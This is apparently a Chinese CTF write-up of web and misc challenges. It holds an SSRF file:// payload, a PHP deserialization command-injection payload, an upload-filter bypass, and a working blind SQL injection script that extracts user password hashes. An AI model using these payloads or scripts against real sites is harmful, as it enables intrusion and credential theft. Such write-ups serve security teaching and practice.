WEB
web1
查看robots.txt得知flag.php和source.php访问source.php需要以管理员登录
POST数据admin=1需要伪造IP为127.0.0.1
多番尝试后发现可以用x-client-ip绕过
添加http头x-client-ip:127.0.0.1
POST数据url=http://www.ichunqiu.com
得到一个图片地址将图片数据下载下来后发现是www.ichunqiu.com网站首页源码。
显然是ssrf。
那么接下来就要构造url读取其他文件。
利用file://协议读取本地文件绕过检测最终得到payload
url=file://www.ichunqiu.com//var/www/html/flag.php
将JPG文件下载然后查看内容
web2
一道反序列化题目.index.php.swp发现源码
vim -r index.php
恢复源码
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
很明显的反序列化首先简单的构造打出welcome回显进入POST语句
然后构造反序列化
然后上传
成功执行命令。获取flag的过程中发现空格被bypass了这里用$IFS绕过双写flag绕过过滤最终payload
O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D
web3
直接给了源码
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
首先要绕过
end($filename)==$filename[count($filename) - 1]
前者是数组里最后一个元素后者取根据数组下标来取的值。所以我们只需要让下标等于count($filename) – 1的元素不是数组最后一个元素即可。例如
[1=>'123', 5=>'php']
此时
end($filename)='php'
count($filename)-1=1 ,$filename[1]=NULL
即可绕过检测构造表单上传
没有打印 ‘emmmm’
成功绕过然后是要将上传的文件重新命名
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$ext即为上传的file[2]内容接下来他会进行判断然后进行包含。
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
这里都很好处理最后有个unlink函数会删除上传的文件我们用 123.php/.进行绕过。最终上传文件
此时已经在沙盒内生成一个XXX.123的文件。接下来爆破文件
对XXX进行爆破爆破到文件名为100.123执行命令拿flag
web4
注入得到密码
在id先进行注入
1' and 1=1%23
成功闭合发现过滤了 information_schema.卡在这里很久最后才找到方法绕过
information_schema . tables
本地测试发现空格可以绕过这样的检测
其中还过滤了fromlimit等关键词最终构造语句
1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),1,1))=1)%23
盲注脚本
# encoding=utf-8
import requests
import string
url='http://495461f9167c4156a993dfa226d99f944a9e804913c04884.game.ichunqiu.com/select_guest.php?id='
flag=''
for i in range(1,100):
for j in range(33,127):
#payload="1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
#payload="1' and (ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_schema=database() and table_name='user'),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
payload="1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
url1=url+payload
r=requests.get(url=url1)
if '10.10.1.1' in r.content:
flag=flag+chr(j)
print flag
break
得到管理员密码的MD5值然后去网站解密得到管理员密码adminpassword
上传截断
登陆进去后发现一个上传页面随手尝试一下。
尝试大写小bypass得到提示please upload to ./flag.php
那么就要构造路径为./flag.php
发现下面有个hidden的参数uploaddir
我们可以通过拼接uploaddir和filename的方式构造php
成功构造flag.php但是自动加上的后缀txt有点无解
这时候就想到00截断
失败了。。这时候就卡了很久最后发现02可以截断
拿到flag
misc
92
拿到一个txt文件观察发现文件第一行末是一个倒置PNG头文件最后一行是一个word文件头。
随即经过两种方式的倒序得到一个加密的word文件和一个PNG图片
扫描二维码得到>:2?kEaX
根据题目名字92尝试base92解密得到 Passwd
作为密码打开word文档移开二维码发现了隐藏信息
通过扫描二维码得到一部分flag又在”文档隐藏”上方发现一部分flag。
最后通过提示imag steganography找到steganography工具。
从”YOU ARE ALIVE”图片中找到一段flag。拼接成完整的flag。
nofind
打开流量包一波观察后在tcp流中发现上传了一个压缩包
通过导出http对象拿到文件 example1(1).php
Binwalk -e 分离出一个图片
尝试各种隐写解密都没用。主办方提示openpuff。
找到软件后发现需要三个密码根据图片中的ct??????猜想密码可能为这8位字符串。需要我们找到??????的值。
再回到导出http对象中发现了三个奇怪的crc32值
利用crc32爆破脚本尝试进行6字节的crc32爆破。
如上分别对三个CRC32值爆破。
又有提示爆破结果包含f。
最终得到3个值
ct93fjhl
ctmbof3k
ctv4gfx1
作为三个密钥输入openpuff中解得flag。
来源:freebuf.com 2018-11-05 20:40:15 by: altm4n
请登录后发表评论
注册